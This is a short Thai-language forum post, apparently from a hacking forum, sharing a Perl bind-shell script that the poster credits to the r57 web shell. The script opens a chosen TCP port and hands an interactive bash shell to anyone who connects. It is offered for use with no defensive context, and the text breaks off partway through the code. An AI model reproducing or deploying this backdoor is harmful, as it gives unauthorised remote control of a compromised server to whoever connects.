code ส่วนนี้เป็น code ที่ใช้ในการ bind port ที่ต้องการ
เมื่อมีการ connect เข้ามาที่ port นั้นๆ ผู้ที่ connect เข้ามาจะได้ bash shell ครับ

Note:
code นี้ผมไม่ได้เขียนเองนะ เป็น code ที่ใช้ bind port ของ shell r57 ^ ^
เพราะฉะนั้นก็ถือว่าให้เครดิตคนเขียน shell r57 ละกัน (ไม่รู้ชื่อคนเขียนอ่ะ T T)

[hide=50][code]#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname(&#39;tcp&#39;
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{